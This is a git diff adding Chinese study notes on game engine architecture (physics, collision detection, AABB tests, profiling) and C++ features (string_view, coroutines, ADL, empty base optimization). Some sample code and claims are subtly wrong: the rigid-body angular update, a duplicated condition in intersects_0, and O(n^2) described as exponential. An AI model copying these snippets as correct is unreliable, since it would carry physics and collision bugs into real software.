"b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\345\256\271\345\231\250.md" @@ -0,0 +1,26 @@ +# 容器 + +游戏引擎对性能的要求很高, 因此除了 STL 还有一些注重高性能的容器库是更好的选择. + +常见的容器库: + +- [EASTL]: Electronic Arts 实现的 STL, 详情请参考[文档](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2271.html). +- [STLport]: 符合 ISO C++ 标准, 为兼容多个编译器和目标平台而设计, 有比 STL 更高的效率和更丰富的功能. +- [Boost]: 相比 STL 功能更加丰富, 但体积十分庞大且不保证支持向后兼容. +- STL. + +STL 有以下几个的缺点: + +- 会进行许多动态内存分配. +- 不同版本的实现可能有较大差别. + +C++ 默认内存分配方式: + +- 内存分配/回收慢, 难以快速响应. +- 可能有锁, 难以高并发. +- 内存对齐无法控制, 访问效率降低. +- 分配位置无法控制, 无法有效利用 cache 和 SIMD. + +[EASTL]: https://github.com/electronicarts/EASTL +[STLport]: http://www.stlport.org +[Boost]: https://www.boost.org/ diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\346\200\247\350\203\275\345\210\206\346\236\220.md" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\346\200\247\350\203\275\345\210\206\346\236\220.md" new file mode 100644 index 000000000..0ec12bd5b --- /dev/null +++ "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\346\200\247\350\203\275\345\210\206\346\236\220.md" @@ -0,0 +1,38 @@ +# 性能分析 + +性能分析器 (profiler) 对于游戏引擎这种软实时软件十分的重要, 它可以用于找出性能瓶颈帮助优化和调试. + +## CPU + +CPU 性能分析器主要有两种实现方式, 跟踪 (tracking) 和采样 (sampling). + +## 内存 + +分析程序的内存使用情况, 包括内存占用率/缓存命中率. 常见的工具是 [Valgrind](https://valgrind.org/). + +## GPU + +- [RenderDoc](https://renderdoc.org/). +- [NVIDIA Nsight](https://developer.nvidia.com/nsight-visual-studio-edition). + +## 可视化 + +性能分析器得出的结果还需要进行人工分析, 因此可视化也是一个重要的步骤. 常见的可视化方法是使用[火焰图](https://www.brendangregg.com/flamegraphs.html), 因其外观而得名, 这里有一个[示例](https://www.brendangregg.com/FlameGraphs/cpu-mysql-updated.svg). + +生成火焰图: + +- [Chromium Trace Viewer] 以火焰图的形式浏览性能分析数据, [数据格式](https://docs.google.com/document/d/1CvAClvFfyA5R-PhYUmn5OOQtYMH4h6I0nSsKchNAySU/preview). +- [FlameGraph] 通过性能分析数据生成可交互的 SVG 格式火焰图. + +[chromium trace viewer]: https://www.chromium.org/developers/how-tos/trace-event-profiling-tool/ +[flamegraph]: https://github.com/brendangregg/FlameGraph + +## 参见 + +- [Chrome Trace Viewer](about:tracing). +- [Edge Trace Viewer](edge://tracing/). +- [C++ Profilers - hackingcpp.com](https://hackingcpp.com/cpp/tools/profilers.html). + +## 参考 + +- . diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\345\210\232\344\275\223\345\212\250\345\212\233\345\255\246.md" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\345\210\232\344\275\223\345\212\250\345\212\233\345\255\246.md" new file mode 100644 index 000000000..88a1f07bf --- /dev/null +++ "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\345\210\232\344\275\223\345\212\250\345\212\233\345\255\246.md" @@ -0,0 +1,76 @@ +# 刚体动力学 + +物理引擎是一个计算机程序模拟牛顿力学模型. + +## 前提 + +- 经典(牛顿)力学: 假设物体足够大, 不会产生量子效应(quantum effect). 且物体速度足够低, 不会产生相对论效应(relativistic effect). +- 刚体: 物体是完美的固体, 不会发生形变. + +### 牛顿运动定律 (Newton's laws of motion) + +以下是三条运动定律的通俗表示, 并非原始表述. + +- 牛顿第一运动定律 (惯性定律): 任何物体都要保持匀速直线运动或静止状态, 直到外力迫使它改变运动状态为止. +- 牛顿第二运动定律: 物体加速度的大小与合外力成正比, 与物体质量成反比. +- 牛顿第三运动定律: 相互作用的两个物体之间的作用力和反作用力总是大小相等, 方向相反, 作用在同一条直线上. + +### 刚体 (Rigid body) + +刚体是指在运动或受力的过程中, 其形状/大小和内部各点的相对位置都保持不变的物体. 刚体只是一种理想化的模型, 实际上不存在绝对刚体. +但是, 许多物体在受力时只产生微小的形变, 可以忽略其影响. 把物体视为刚体可以大大简化计算量. + +## 线性动力学 (Linear dynamics) + +- 直线运动: $F = am$. +- 旋转运动: $\tau = I\alpha$. + +### 线性速度和加速度 + +```cpp +struct Rigidbody +{ + Vector2 linear_velocity; + float angular_velocity; + + Vector2 force; + float torque; + + Vector2 position; + float rotation; + + float mass = 1.0f; + float I; // 转动惯量 +} +``` + +```cpp +class PhysicsSystem +{ +public: + void update(float dt) + { + for(auto& body : bodies_) + { + body.linear_velocity += (body.force / body.mass + gravity_) * dt; // 计算加速度, 由 F = am 可得 a = F / m + body.angular_velocity += body.I * torque; + + body.position += body.linear_velocity * dt; + body.rotation += angular_velocity * dt; + + body.force = Vector3::zero; + body.torque = 0; + } + } + +private: + std::vector bodies_; + Vector2 gravity_ = Vector2(0.f, 9.81f); // 重力加速度 +} +``` + +### 力及动量 + +- Static: 静态刚体, 零质量, 零速度, 即不会受到重力或速度影响, 但是可以设置位置来进行移动. +- Dynamic: 动态刚体, 有质量, 可以设置速度, 会受到重力影响. +- Kinematic: 运动刚体, 零质量, 可以设置速度, 不会受到重力的影响, 但是可以设置速度来进行移动. diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/assets/sphere_aabb.png" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/assets/sphere_aabb.png" new file mode 100644 index 000000000..542445173 Binary files /dev/null and "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/assets/sphere_aabb.png" differ diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/\345\234\206\345\275\242\344\270\216\347\220\203\344\275\223.md" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/\345\234\206\345\275\242\344\270\216\347\220\203\344\275\223.md" new file mode 100644 index 000000000..ed3221bd3 --- /dev/null +++ "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/\345\234\206\345\275\242\344\270\216\347\220\203\344\275\223.md" @@ -0,0 +1,33 @@ +# 圆形与球体 + +## 表达方式 + +```cpp +struct Circle +{ + Vector2 center; + float radius; +}; + +struct Sphere +{ + Vector3 center; + float radius; +}; +``` + +## 相交测试 + +```cpp +bool intersects(const Circle& a, const Circle& b) +{ + const float min_distance = a.radius + b.radius; + return (a.center - b.center).norm_sq() <= min_distance * min_distance; +} + +bool intersects(const Sphere& a, const Sphere& b) +{ + const float min_distance = a.radius + b.radius; + return (a.center - b.center).norm_sq() <= min_distance * min_distance; +} +``` diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/\347\242\260\346\222\236\346\243\200\346\265\213.md" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/\347\242\260\346\222\236\346\243\200\346\265\213.md" new file mode 100644 index 000000000..3f374bf20 --- /dev/null +++ "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/\347\242\260\346\222\236\346\243\200\346\265\213.md" @@ -0,0 +1,86 @@ +# 碰撞检测 + +碰撞检测是检测物体之间是否/何时在何处发生碰撞. + +为了检测两个运动物体之间的碰撞, 我们可以将其中一个物体作为参考系, 将问题转化为检测运动物体和静止物体之间的碰撞. + +## 算法 + +### 分离轴定理 (separating axis theorem) + +大多数碰撞检测系统都会使用该定理. 此定理指出, 若能找到一个轴, 两个凸形状在该轴上的投影不重叠, 则两个形状不相交. 若这样的轴不存在, 则两个形状相交. 该轴被称为**分离轴**. +在二维空间下, 若能找到一条直线可以将两个形状完全隔离开, 则两个形状不重叠. 该直线被称为**分离线**, 在三维空间下被称为**分离面**. + +### GJK 算法 + +## 碰撞过虑 (collision filtering) + +## 碰撞材质 (collision materials) + +## 高速运动物体的碰撞检测 + +当物体以高速运动或模拟步长过大时,两帧之间的状态变化可能很大,导致物体运动**不连贯**, 物体"跳跃着"前进可能出现"隧穿 (tunneling)"现象. 例如, "子弹穿纸 (bullet throught paper)"就是一种容易产生隧穿现象的场景. +前面使用的碰撞检测方法仅在物体能连贯运动时正常工作. 两个状态之间还存在其他无数个状态, 这些状态里物体之间可能发生了一或多次碰撞, 因此还需要将两个状态之间物体的变换纳入检测范围. + +将子弹看成一个质点, 可以连接质点位置和当前质点位置, 即子弹的运动路径. 然后判断该线段是否与纸 (矩形) 相交. +在给定时间内, 物体连续移动所覆盖的空间体积被称作"扫掠体 (swept volume)". 若将子弹看成球体, 则运动形成的扫掠体是一个胶囊体. + +- 高速物体: 降低离散步长 -> 生成扫掠体. +- 慢速物体: 自己形成扫掠体. + +绝对精确的模拟是不可能的, 扫掠体只是一种连贯运动的简化模型, 物体和扫掠体相交不一定代表物体之间发生了碰撞, 但是物体发生碰撞一定会和扫掠体相交. + +## 性能优化 + +碰撞检测过程需要进行大量的计算, 因此对其进行优化是十分必要的. + +### 碰撞体积(bounding volumes) + +**别名**: 包围体 (bounding box), 碰撞原型 (collision primitive). + +参与碰撞检测的刚体可能具有复杂的外形, 将对性能造成严重的影响. 因此可以利用简化外形来提高碰撞检测的性能. +使用碰撞体积(包围盒)来替代实际的外形进行碰撞检测. 碰撞体积通常由几个简单的几何图形组成, 因此可以使用简单快速的方法进行检测. +碰撞体积通常具有以下特征: + +- 高效的相交测试. +- 紧密的拟合. +- 易于旋转和变换. +- 内存占用少. + +常见的碰撞体积有: + +- [轴对齐包围盒](轴对齐包围盒.md). +- [圆形 (circle)](圆形与球体.md): 通常只适用于近似圆形的物体, 但针对这部分物体碰撞体积和实际外形可能十分接近, 与其他圆形包围盒相交检测简单快速. +- [球体 (sphere)](圆形与球体.md): 最简单的三维体积, 也是最高效的三维碰撞体积. +- 胶囊体 (capsule): 形似胶囊, 为线段扫掠球体(line swept sphere, LSS). +- 定向包围盒 (oriented bounding box, OBB). +- 离散定向多胞形 (discrete oriented polytope, DOP): k-DOP 是由 k 个平面构成的形状. AABB 与 OBB 都属于 6-POD (三维空间中). +- 多边形汤 (polygon soup/poly soup): 支持完全任意/非凸的形状. 常用于复杂的静态表面建模, 如地形和建筑. +- 复合形状 (compound shape): 由多个碰撞体积共同组成. + +### 空间分区 + +### 阶段 + +将检测的过程大致分为三个阶段, 前两个阶段会剔除不需要检测的碰撞体. 最后一个阶段对剩余的碰撞体进行碰撞检测. + +- 粗略阶段 (broad phase): 快速排除不需要检测的情况, 减少下一步的计算量. +- 精细阶段 (narrow phase): 对可能发生碰撞的物体进行碰撞检测和受力分析. + +假设 n 个物体都可能和其他物体发生碰撞的情况下, 进行碰撞检测的时间复杂度为 O(n^2). 这意味着碰撞检测的耗时将会随着物体数量的增多成指数倍增长, 成为性能瓶颈. 因此在进行碰撞检测之前要先对物体进行筛选, 尽可能的挑选出必须要进行碰撞检测的物体, 以减少不必要的计算. + +### 粗略阶段 + +通过物体之间的相对位置和相对速度以及空间分区等可以将其进行快速分类, 部分物体之间不可能发生碰撞就没有必要再进一步进行碰撞检测和受力分析. + +- 排序和扫描 (sort and sweep). +- 空间分区 (spatial subdivision). + +### 精细阶段 + +在对不可能发生碰撞的物体进行快速剔除后, 可能发生碰撞的物体将进行碰撞检测. + +## 参考 + +- *Real-Time Collision Detection - Christer Ericson*. +- . diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/\350\203\266\345\233\212\344\275\223.md" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/\350\203\266\345\233\212\344\275\223.md" new file mode 100644 index 000000000..0bd20c0b7 --- /dev/null +++ "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/\350\203\266\345\233\212\344\275\223.md" @@ -0,0 +1,12 @@ +# 胶囊体 + +## 表达方式 + +```cpp +struct Capsule +{ + Vector3 a; + Vector3 b; + float radius; +}; +``` diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/\350\275\264\345\257\271\351\275\220\345\214\205\345\233\264\347\233\222.md" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/\350\275\264\345\257\271\351\275\220\345\214\205\345\233\264\347\233\222.md" new file mode 100644 index 000000000..5247257c8 --- /dev/null +++ "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\211\251\347\220\206/\347\242\260\346\222\236\346\243\200\346\265\213/\350\275\264\345\257\271\351\275\220\345\214\205\345\233\264\347\233\222.md" @@ -0,0 +1,73 @@ +# 轴对齐包围盒(axis-aligned bounding boxes, AABB) + +由于所有的边都与坐标轴平行, 因此无需考虑旋转角度等复杂因素, 可以简单快速地进行 AABB 之间的相交检测. +利用分离轴定理, 可以通过判断 AABB 在二/三个主轴方向上的投影是否存在重叠区域来判定是否相交. + +!!! info + 为了降低理解难度, 以下以 2D 的 AABB 为例. + +AABB 相交时必然存在平行于主轴的分离线, 因此只需要投影到数量较少的主轴上即可判断是否相交. + +## 表达方式 + +```cpp +// 中心+半径. Godot 使用的 +struct AABB0 +{ + Vector2 center; + float radius[2]; +}; + +// 最小值+最大值 +struct AABB1 +{ + Vector2 min; + Vector2 max; +}; + +// 最小值+直径 +struct AABB2 +{ + Vector2 min; + float diameter[2]; +}; +``` + +## 相交测试 + +```cpp +bool intersects(const AABB0& a, const AABB0& b) +{ + return std::abs(a.center.x - b.center.x) <= a.radius[0] + b.radius[0] && + std::abs(a.center.y - b.center.y) <= a.radius[1] + b.radius[1]; +} + +bool intersects_0(const AABB1& a, const AABB1& b) +{ + // 判断 X 和 Y 轴上的投影是否有交集 + return ((a.min.x <= b.min.x && b.min.x <= a.max.x) || (a.min.x <= b.max.x && b.max.x <= a.max.x)) && + ((a.min.y <= b.min.y && b.min.y <= a.max.y) || (a.min.y <= b.min.y && b.min.y <= a.max.y)); +} + +// 对 intersects_0 进行改进. 只有相交和不相交两种状态, 判断不相交的条件比较少 +bool intersects_1(const AABB1& a, const AABB1& b) +{ + // 判断判断 X 和 Y 轴上的投影是否没有交集 + return !((a.max.x < b.min.x || b.max.x < a.min.x) || + (a.max.y < b.min.y || b.max.y < a.min.y)); +} +``` + +## 计算与更新 + +## 基于包围球的 AABB + +![Real-Time Collision Detection - Christer Ericson](assets/sphere_aabb.png){ style="display: block; margin: 0 auto" } + +首先得到锚点与最远顶点之间的距离, 以该距离为半径, 锚点为圆心画圆. 然后做该圆的外切正方形, 该正方形即为物体基于包围球的 AABB. +无论物体如何绕锚点旋转都能保证所有顶点被 AABB 所包含. +在更新这类 AABB 的过程中只需要在意平移变换, 可以忽略的旋转变换, 不需要在基于锚点的旋转后进行更新, 但可能与物体的拟合度较差. + +## 紧凑型 AABB + +外切 AABB. diff --git "a/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\216\251\346\263\225.md" "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\216\251\346\263\225.md" new file mode 100644 index 000000000..6af1dd097 --- /dev/null +++ "b/docs/\346\270\270\346\210\217\345\274\225\346\223\216\346\236\266\346\236\204/\347\216\251\346\263\225.md" @@ -0,0 +1,25 @@ +# 玩法 + +## 3C + +3C 指代角色 (Character), 控制 (Control) 和相机 (Camera) 三个要素, 对游戏体验有重要影响. + +- 角色: 丰富/流畅的运动. 与场景之间的交互. +- 控制 + - 支持各种输入设备 (鼠标, 手柄, VR, 方向盘, 摇杆等): 使玩家可以使用自己喜欢的设备进行游玩. + - 瞄准辅助 (吸附, 减速, 追踪): 良好的辅助瞄准可以大大提高瞄准体验, 如_神秘海域 4_. + - 力反馈 (震动): 良好的震动反馈可以提高代入感, 如_尘埃拉力赛 2.0_. + - 组合按键 (Chord). +- 相机 + - 弹簧臂 (Spring Arm): 防止相机被环境遮挡. + - 相机特效 (震动). + - 主观感受: 高速运动时的运动模糊和 FOV 的缩放. + - 宽松的感觉: 角色不始终位于相机的中心, 具有一定的弹性. 使角色看上去更灵活. + +## 脚本 + +TODO + +## 可视化脚本 + +TODO diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/Archived/assets/random_distributions_crop.png" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/Archived/assets/random_distributions_crop.png" new file mode 100644 index 000000000..8e58caf46 Binary files /dev/null and "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/Archived/assets/random_distributions_crop.png" differ diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/Archived/\345\206\205\345\255\230\345\257\271\351\275\220.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/Archived/\345\206\205\345\255\230\345\257\271\351\275\220.md" new file mode 100644 index 000000000..d71993cba --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/Archived/\345\206\205\345\255\230\345\257\271\351\275\220.md" @@ -0,0 +1,19 @@ +# 内存对齐 + +```cpp +struct A +{ + char a; // 1 byte + char b; // 1 byte + int c; // 4 bytes +} + +struct B +{ + char a; // 1 byte + int b; // 4 bytes + char c; // 1 byte +} +``` + +其中 `sizeof(A)` 为 8, `sizeof(B)` 为 12. diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/Archived/\347\251\272\345\237\272\347\261\273\344\274\230\345\214\226.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/Archived/\347\251\272\345\237\272\347\261\273\344\274\230\345\214\226.md" new file mode 100644 index 000000000..88be1d5cb --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/Archived/\347\251\272\345\237\272\347\261\273\344\274\230\345\214\226.md" @@ -0,0 +1,32 @@ +# 空基类优化 + +**英文**: Empty Base Class Optimization, EBCO. +**别名:** Empty Base Optimization, EBO. + +## 空类大小 + +类即使没有任何成员变量, 所实例化的对象也需要占据 1 字节的空间, 以确保对象的内存地址是独一无二的. + +- 如果一个对象只占用 0 个字节的话, 会和下一个数据的内存地址冲突, 此时将无法通过内存地址区分这两个对象. +- 若两个对象的大小都为 0 字节, 将无法通过大小区分这两个对象. +- 若两个对象类型相同, 将无法通过 `typeid` 区分这两个对象. + +因此空类实例化的对象大小为 0 可能会导致无法区分两个对象的问题, 将空类实例化的对象大小设为 1 便可以很自然的解决这个问题. + +```cpp +class A +{ +}; + +class B : public A +{ +}; + +class C : public A, public B +{ +}; + +std::cout << sizeof(A) << std::endl; // 1 +std::cout << sizeof(B) << std::endl; // 1 +std::cout << sizeof(C) << std::endl; // 2 +``` diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/Archived/\351\232\217\346\234\272\346\225\260.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/Archived/\351\232\217\346\234\272\346\225\260.md" new file mode 100644 index 000000000..be5151573 --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/Archived/\351\232\217\346\234\272\346\225\260.md" @@ -0,0 +1,11 @@ +# 随机数 + +**标准**: C++11. + +`std::random_device` 是生成非确定(每次运行产生结果不一样)随机数的均匀分布整数随机数生成器, 因此可以作为为随机数生成器种子的默认值. + +## 伪随机数生成器(Pseudo Random Number Generator, PRNG) + +- 梅森旋转算法(梅森缠绕算法, MT19937): 该算法的循环节为 2^19937-1, 为梅森素数. + +![随机分布](assets/random_distributions_crop.png "https://hackingcpp.com/cpp/std/random_distributions.png") diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/C++20.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/C++20.md" new file mode 100644 index 000000000..1d814015c --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/C++20.md" @@ -0,0 +1,12 @@ +# C++20 + +- [协程](协程.md). + +## 视频 + +- [C++20: An (Almost) Complete Overview - Marc Gregoire - CppCon 2020](https://www.youtube.com/watch?v=FRkJCvHWdwQ). +- [C++ Weekly C++20](https://www.youtube.com/playlist?list=PLs3KjaCtOwSYdpfm74DYyd1kOXEhCd1Rv). + +## 网页 + +- [Compiler support for C++20](https://en.cppreference.com/w/cpp/compiler_support/20). diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/assets/c++_google_style.png" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/assets/c++_google_style.png" new file mode 100644 index 000000000..04b675310 Binary files /dev/null and "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/assets/c++_google_style.png" differ diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/assets/cpp_exception.jpg" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/assets/cpp_exception.jpg" new file mode 100644 index 000000000..9240562df Binary files /dev/null and "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/assets/cpp_exception.jpg" differ diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/string_view.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/string_view.md" new file mode 100644 index 000000000..4c771dc52 --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/string_view.md" @@ -0,0 +1,44 @@ +# std::string_view + +**头文件**: ``. +**标准**: C++17. + +## 适用范围 + +- 只读. 如果需要修改原字符串, 请使用 `std::string&`. + +## 优点 + +- 避免了不必要的内存分配: `const std::string&` 在传入 `const char*` 时需要执行拷贝操作. +- 提高访问速度: `const std::string&` 需要先解引用, 因此在使用 `std::string_view` 的时候请不要通过引用传递. `std::string_view` 实现十分轻量, 因此可以通过值传递. + +## 例子 + +在 C++17 之前我们通常使用以下方式声明一个带有 `std::string` 参数的函数, 将参数通过引用传递. + +```cpp +void print(const std::string&); + +std::vector v {'s','t','r'}; +print("str"); // copy +print({v.begin(), v.end()}); // copy +``` + +但这种实现方式存在一个问题, 当以上方例子调用 `print()` 的时候会先构建一个 `std::string` 对象, 产生了不必要的拷贝. +在 C++17 将可以使用 `std::string_view` 来代替 `std::string`, 以提高效率. + +```cpp +void print(std::string_view); + +std::vector v {'s','t','r'}; +print("str"); // no copy +print({v.begin(), v.end()}); // no copy +``` + +这样写无论实参是 `std::string` 或 `const char*` 都会构建一个 `std::string_view` 对象, 因为不存在拷贝操作, 因此效率较高. + +`std::string_view` 没有 `c_str()` 方法, 可以使用 `data()` 方法来代替. + +## 参考 + +- [Which String Parameter Type?](https://hackingcpp.com/cpp/recipe/string_parameters.html). diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\214\205\347\256\241\347\220\206\345\231\250.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\214\205\347\256\241\347\220\206\345\231\250.md" new file mode 100644 index 000000000..fae61e915 --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\214\205\347\256\241\347\220\206\345\231\250.md" @@ -0,0 +1,13 @@ +# 包管理器 + +## [Conan](https://github.com/conan-io/conan) + +- 与 Visual Stduio 集成: [Visual Studio extension](https://marketplace.visualstudio.com/items?itemName=conan-io.conan-vs-extension). + +## [Vcpkg](https://github.com/microsoft/vcpkg) + +- 与 Visual Stduio 集成: `vcpkg integrate install`. + +!!! warning + 以上包管理器都不能保证包能在不同平台下能通过编译, 甚至从个人实际使用体验上感觉依然存在大量不能在常见平台下通过编译的包. + 遇到无法错误时可以向包管理器进行反馈, 但不一定能及时得到解决. diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\215\217\347\250\213.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\215\217\347\250\213.md" new file mode 100644 index 000000000..351f458b7 --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\215\217\347\250\213.md" @@ -0,0 +1,32 @@ +# 协程 + +**英文**: Coroutines. +**标准**: C++20. + +## 并发性与并行性 + +- 并发性: 拥有处理多任务的能力, 不一定是同时进行. +- 并行性: 拥有**同时**处理多任务的能力, 不是间隔执行. + +## 协程与线程 + +- 一般情况下, 一个进程可以开启几十亿个协程, 而只能开启不超过 2048 个线程. +- 协程是协作式多任务的, 而线程典型是抢占式多任务的. +- 协程是语言层级的构造, 而线程是系统层级的构造. 因此协程的调度与内核无关, 而线程由内核调度. +- 协程的切换比较快速, 而线程的切换需要内核进行调度. +- 协程可以在单个线程中执行多个任务, 而线程可以充分利用多核 CPU 的运算力, 以及降低堵塞操作对性能的影响. + +因为协程的调度与内核无关, 所以当某个线程的某个协程调用的堵塞的操作将导致线程挂起, 所有属于该线程的协程也会挂起. 因此要进一步利用协程提高效率需要结合异步操作. + +C++20 加入了对无栈协程的支持, 但只提供了最基础的接口. 直接使用过于繁琐, 应先进行封装. 可以参考: + +- Boost.ASIO: 包含无栈协程. +- Boost.Coroutine: 对称/非对称的有栈协程, API 风格比较老式. +- Boost.Coroutine2: 非对称的有栈协程, API 风格现代. +- Boost.Fiber: 带有调度器的有栈协程, 调度导致效率较低. + +## 关键字 + +- co_yield: 暂停执行并返回一个值. +- co_await: 暂停执行. +- co_return: 完成执行并返回一个值. diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\217\202\346\225\260\344\276\235\350\265\226\346\237\245\346\211\276.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\217\202\346\225\260\344\276\235\350\265\226\346\237\245\346\211\276.md" new file mode 100644 index 000000000..feec9e799 --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\217\202\346\225\260\344\276\235\350\265\226\346\237\245\346\211\276.md" @@ -0,0 +1,22 @@ +# 参数依赖查找 + +**英文**: Argument-Dependent Lookup, ADL. +**别名**: Koenig Lookup. + +```cpp +std::cout << 1; // 等价于 std::operator<<(std::cout, 1) +``` + +在使用重载的运算符时不方便指定命名空间, 因此需要一个方法来确保命名空间中运算符重载能被正常使用. +上方代码中该运算符重载位于命名空间 `std` 中, 因此正常情况下无法匹配到正确的函数. +通过 ADL, 可以根据第一个参数 `std::cout` 推断出命名空间为 `std`, 从而匹配到正确的函数. + +最开始 ADL 只适用于重载的运算符, 但后来由于觉得在普通函数上也适用, 便被拓展到了全体函数. + +## 参见 + +- . + +## 参考 + +- . diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\217\202\350\200\203.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\217\202\350\200\203.md" new file mode 100644 index 000000000..1ac380829 --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\217\202\350\200\203.md" @@ -0,0 +1,20 @@ +# 参考 + +## 网站 + +- [C++ 参考手册(Cpp reference)](https://zh.cppreference.com/w/cpp) 查阅标准库内容. +- [C++ Core Guidelines](https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines). +- [Compiler Explorer](https://godbolt.org/) 在线编译器, 可直接查看汇编代码. +- [hacking C++](https://hackingcpp.com/index.html). +- [Learn C++](https://www.learncpp.com/). +- [Working Draft, Standard for Programming Language C++](https://eel.is/c++draft/). +- [Bjarne Stroustrup's FAQ](https://www.stroustrup.com/bs_faq.html). +- [C++11 FAQ - Bjarne Stroustrup](https://www.stroustrup.com/C++11FAQ.html). +- [Awesome 